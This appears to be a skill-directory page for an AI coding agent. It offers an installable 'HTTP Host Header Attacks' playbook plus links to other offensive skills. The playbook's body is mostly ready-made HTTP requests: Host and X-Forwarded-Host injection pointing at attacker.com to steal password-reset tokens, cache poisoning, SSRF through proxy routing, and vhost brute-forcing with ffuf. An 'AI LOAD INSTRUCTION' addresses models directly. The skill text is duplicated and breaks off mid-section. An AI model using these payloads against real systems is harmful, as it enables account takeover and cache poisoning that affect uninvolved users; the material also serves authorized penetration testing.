/http-host-header-attacks
HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.
$ npx -y skills add yaklang/hack-skills --skill http-host-header-attacks --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/http-host-header-attacks
Context preview
The summary Claude sees to decide when to auto-load this skill.
HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.
SKILL.md
http-host-header-attacks.SKILL.mdname: http-host-header-attacks
description: >-
HTTP Host header injection and routing abuse playbook. Use when the application
trusts the Host header for generating URLs, routing requests, or access control
— enabling password reset poisoning, web cache poisoning, SSRF via routing,
and virtual host bypass.
SKILL: HTTP Host Header Attacks — Injection & Routing Abuse
> **AI LOAD INSTRUCTION**: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
0. RELATED ROUTING
- [web-cache-deception](../web-cache-deception/SKILL.md) when Host injection is combined with cache behavior
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when Host header routes requests to internal services
- [open-redirect](../open-redirect/SKILL.md) when Host injection causes redirect to attacker domain
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when Host manipulation helps bypass WAF routing
- [request-smuggling](../request-smuggling/SKILL.md) when smuggling enables Host header manipulation past front-end validation
- [subdomain-takeover](../subdomain-takeover/SKILL.md) when Host routing exposes internal vhosts resolvable via subdomain
---
1. ATTACK SURFACE
The Host header is used by web applications and infrastructure for:
| Usage | Exploitation | |---|---| | URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker | | Virtual host routing | Spoof Host → access internal/admin vhost | | Cache key component | Inject different Host → poison cache for all users | | Reverse proxy routing | Host determines backend → SSRF to internal services | | Access control decisions | Host-based ACLs can be bypassed | | Canonical URL / SEO redirects | Host injection → open redirect |
---
2. PASSWORD RESET POISONING
The most common and impactful Host header attack.
How It Works
1. Attacker requests password reset for victim@target.com
2. Attacker modifies Host header in the reset request:
POST /forgot-password HTTP/1.1
Host: attacker.com ← injected
email=victim@target.com
3. Server generates reset link using Host header value:
"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password
Testing
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
Check Burp Collaborator for incoming HTTP request with the reset token.
Variants
- Some apps concatenate: `Host: target.com.attacker.com` → link becomes `https://target.com.attacker.com/reset?token=xxx`
- Some apps use only the port portion: `Host: target.com:@attacker.com` → parsed as `attacker.com` in some URL parsers
---
3. WEB CACHE POISONING VIA HOST
1. Attacker sends:
GET / HTTP/1.1
Host: attacker.com
2. If cache keys on URL path but NOT on Host header:
→ Response cached with attacker.com in generated links/content
3. Subsequent users requesting GET / receive the poisoned response
→ Links point to attacker.com, scripts load from attacker.com
**Key requirement**: Cache must not include Host header in cache key, but application must use Host in response body.
Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
---
4. SSRF VIA HOST ROUTING
When a reverse proxy uses Host header to route to backends:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal service
Common in:
- Nginx `proxy_pass` based on `$host`
- Apache `ProxyPass` with virtual host routing
- Kubernetes Ingress controllers
- Cloud load balancers
---
5. VIRTUAL HOST BYPASS
Many servers host multiple applications on the same IP via virtual hosting:
Target: Host: www.target.com → public site
Hidden: Host: admin.target.com → admin panel (not in public DNS)
Hidden: Host: staging.target.com → staging environment
Hidden: Host: localhost → server status page
Discovery
1. Brute-force Host header with common vhost names:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. Try special values:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. Compare response size/content to identify different vhosts
---
6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED
6.1 Override Headers
Many frameworks/proxies trust these headers over the Host header:
| Header | Frameworks That Trust It | |---|---| | `X-Forwarded-Host` | Symfony, Laravel, Django (when `USE_X_FORWARDED_HOST=True`), Rails (behind proxy) | | `X-Host` | Some custom proxy configurations | | `X-Original-URL` | IIS with URL Rewrite module | | `X-Rewrite-URL` | IIS with URL Rewrite module | | `Forwarded: host=attacker.com` | RFC 7239 compliant proxies | | `X-Forwarded-Server` | Apache mod_proxy |
Test all simultaneously:
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com
6.2 Absolute URL in Request Line
GET http://attacker.com/path HTTP/1.1
Host: target.com
Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.
6.3 Double Host Header
GET /path HTTP/1.1
Host: target.com
Host: attacker.com
Behavior
Read more
name: http-host-header-attacks description: >- HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.
SKILL: HTTP Host Header Attacks — Injection & Routing Abuse
> **AI LOAD INSTRUCTION**: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
0. RELATED ROUTING
- [web-cache-deception](../web-cache-deception/SKILL.md) when Host injection is combined with cache behavior
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when Host header routes requests to internal services
- [open-redirect](../open-redirect/SKILL.md) when Host injection causes redirect to attacker domain
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when Host manipulation helps bypass WAF routing
- [request-smuggling](../request-smuggling/SKILL.md) when smuggling enables Host header manipulation past front-end validation
- [subdomain-takeover](../subdomain-takeover/SKILL.md) when Host routing exposes internal vhosts resolvable via subdomain
---
1. ATTACK SURFACE
The Host header is used by web applications and infrastructure for:
| Usage | Exploitation | |---|---| | URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker | | Virtual host routing | Spoof Host → access internal/admin vhost | | Cache key component | Inject different Host → poison cache for all users | | Reverse proxy routing | Host determines backend → SSRF to internal services | | Access control decisions | Host-based ACLs can be bypassed | | Canonical URL / SEO redirects | Host injection → open redirect |
---
2. PASSWORD RESET POISONING
The most common and impactful Host header attack.
How It Works
1. Attacker requests password reset for victim@target.com 2. Attacker modifies Host header in the reset request: POST /forgot-password HTTP/1.1 Host: attacker.com ← injected email=victim@target.com 3. Server generates reset link using Host header value: "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN" 4. Victim receives email, clicks link → token sent to attacker 5. Attacker uses token on real target.com to reset password
Testing
POST /forgot-password HTTP/1.1 Host: attacker-collaborator.burpcollaborator.net Content-Type: application/x-www-form-urlencoded email=victim@target.com
Check Burp Collaborator for incoming HTTP request with the reset token.
Variants
- Some apps concatenate: `Host: target.com.attacker.com` → link becomes `https://target.com.attacker.com/reset?token=xxx`
- Some apps use only the port portion: `Host: target.com:@attacker.com` → parsed as `attacker.com` in some URL parsers
---
3. WEB CACHE POISONING VIA HOST
1. Attacker sends: GET / HTTP/1.1 Host: attacker.com 2. If cache keys on URL path but NOT on Host header: → Response cached with attacker.com in generated links/content 3. Subsequent users requesting GET / receive the poisoned response → Links point to attacker.com, scripts load from attacker.com
**Key requirement**: Cache must not include Host header in cache key, but application must use Host in response body.
Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
---
4. SSRF VIA HOST ROUTING
When a reverse proxy uses Host header to route to backends:
GET /api/internal HTTP/1.1 Host: internal-admin-panel.local → Reverse proxy routes request to internal-admin-panel.local → Attacker accesses internal service
Common in:
- Nginx `proxy_pass` based on `$host`
- Apache `ProxyPass` with virtual host routing
- Kubernetes Ingress controllers
- Cloud load balancers
---
5. VIRTUAL HOST BYPASS
Many servers host multiple applications on the same IP via virtual hosting:
Target: Host: www.target.com → public site Hidden: Host: admin.target.com → admin panel (not in public DNS) Hidden: Host: staging.target.com → staging environment Hidden: Host: localhost → server status page
Discovery
1. Brute-force Host header with common vhost names: ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt 2. Try special values: Host: localhost Host: 127.0.0.1 Host: admin Host: internal Host: intranet 3. Compare response size/content to identify different vhosts
---
6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED
6.1 Override Headers
Many frameworks/proxies trust these headers over the Host header:
| Header | Frameworks That Trust It | |---|---| | `X-Forwarded-Host` | Symfony, Laravel, Django (when `USE_X_FORWARDED_HOST=True`), Rails (behind proxy) | | `X-Host` | Some custom proxy configurations | | `X-Original-URL` | IIS with URL Rewrite module | | `X-Rewrite-URL` | IIS with URL Rewrite module | | `Forwarded: host=attacker.com` | RFC 7239 compliant proxies | | `X-Forwarded-Server` | Apache mod_proxy |
Test all simultaneously:
GET /forgot-password HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com X-Host: attacker.com X-Original-URL: /forgot-password Forwarded: host=attacker.com
6.2 Absolute URL in Request Line
GET http://attacker.com/path HTTP/1.1 Host: target.com
Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.
6.3 Double Host Header
GET /path HTTP/1.1 Host: target.com Host: attacker.com
Behavior
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
Other skills on hack-skills.
- /401-403-bypass-techniques
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
Open skill - /active-directory-acl-abuse
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
Open skill - /active-directory-certificate-services
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Open skill - /active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
Open skill - /ai-ml-security
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
Open skill - /android-pentesting-tricks
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Open skill

